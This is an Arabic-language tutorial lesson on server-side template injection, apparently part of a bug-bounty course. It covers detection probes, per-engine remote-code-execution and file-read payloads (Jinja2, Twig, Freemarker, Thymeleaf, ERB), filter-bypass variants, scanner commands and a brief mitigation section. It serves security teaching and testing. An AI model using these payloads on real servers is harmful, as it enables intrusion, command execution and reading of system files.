تقنيات الاستغلال المتقدمة
حقن قوالب جانب الخادم (SSTI)
3 دقيقة للقراءة
SSTI يحدث عندما يُضمن إدخال المستخدم في قوالب جانب الخادم. يمكن أن يؤدي لكشف المعلومات، قراءة ملفات عشوائية، وتنفيذ الكود عن بعد.
فهم SSTI
محركات القوالب تعرض محتوى ديناميكي:
القالب: "Hello {{name}}!"
الإدخال: name = "World"
المخرج: "Hello World!"
الهجوم: name = "{{7*7}}"
المخرج: "Hello 49!" # القالب نُفذ!
الكشف
Polyglot الأساسي
# سلسلة اختبار تثير أخطاء في محركات متعددة
${{<%[%'"}}%\.
# إذا كان الخطأ يختلف عن الإدخال العادي → محرك قوالب موجود
الكشف الخاص بالمحرك
| المحرك | الفحص | المتوقع |
|---|---|---|
| Jinja2 (Python) | {{7*7}} |
49 |
| Twig (PHP) | {{7*7}} |
49 |
| Freemarker (Java) | ${7*7} |
49 |
| Thymeleaf (Java) | [[${7*7}]] |
49 |
| Velocity (Java) | #set($x=7*7)$x |
49 |
| Smarty (PHP) | {7*7} |
49 |
| ERB (Ruby) | <%= 7*7 %> |
49 |
شجرة القرار
الإدخال: {{7*7}}
├── 49 → Jinja2، Twig، أو مشابه
└── {{7*7}} → ليست تلك المحركات
├── جرب: ${7*7}
│ └── 49 → Freemarker، Velocity
└── جرب: {7*7}
└── 49 → Smarty
الاستغلال حسب المحرك
Jinja2 (Python/Flask)
# قراءة ملف
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('id').read() }}
# حمولة أقصر (إذا import متاح)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Twig (PHP)
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# بديل
{{["id"]|filter("system")}}
Freemarker (Java)
# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# بديل
${"freemarker.template.utility.Execute"?new()("id")}
Thymeleaf (Java)
# RCE عبر SpringEL
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]
# متغير معامل URL
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Ruby ERB
# RCE
<%= system('id') %>
<%= `id` %>
تجاوز الفلاتر
تجاوز WAF في Jinja2
# بدون علامات اقتباس
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
# بدون أقواس
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}
# Unicode escapes
{{ '\x5f\x5fclass\x5f\x5f' }} # __class__
قيود الأحرف
# بدون نقاط (Jinja2)
{{ request['application']['__globals__']['os']['popen']('id')['read']() }}
# بدون underscores
{{ request|attr(request.args.get('a'))|attr(request.args.get('b')) }}
# URL: ?a=__class__&b=__mro__
أين تجد SSTI
نقاط الحقن الشائعة:
- قوالب البريد الإلكتروني (متغيرات مخصصة)
- رسائل الخطأ مع إدخال منعكس
- إنشاء PDF/المستندات
- قوالب SMS/الإشعارات
- حقول ملف المستخدم المعروضة من جانب الخادم
- بناة صفحات CMS
# اختبر كل حقل إدخال
# ابحث عن ميزات "معاينة" أو "عرض" محتوى المستخدم
# تحقق من نقاط نهاية API التي تنسق/تقولب الاستجابات
الاختبار الآلي
# استخدام tplmap
python tplmap.py -u "https://example.com/page?name=test"
# استخدام Nuclei
nuclei -l targets.txt -tags ssti
# إضافة Burp: Template Injection Scanner
أمثلة المكافآت
| الشركة | المحرك | التأثير | المكافأة |
|---|---|---|---|
| Uber | Jinja2 | RCE | 15,000 دولار |
| Shopify | Liquid | قراءة ملف | 10,000 دولار |
| Yahoo | Freemarker | RCE | 8,000 دولار |
| HubSpot | HubL | قراءة ملف | 5,000 دولار |
فهم التخفيف
لماذا يحدث SSTI:
- إدخال المستخدم مباشرة في سلسلة القالب
- استخدام محرك القوالب لتخصيص البريد الإلكتروني
- إنشاء قالب ديناميكي من محتوى المستخدم
النهج الآمن:
# ضعيف
template = f"Hello {user_input}!"
render_template_string(template)
# آمن
render_template("template.html", name=user_input)
نصيحة احترافية: SSTI غالباً يختبئ في أماكن غير متوقعة—صفحات الخطأ، معاينات البريد، مولدات PDF. اختبر كل حقل يعرض مخرجات.
في الدرس التالي، سنغطي Web Cache Poisoning وHTTP Request Smuggling. :::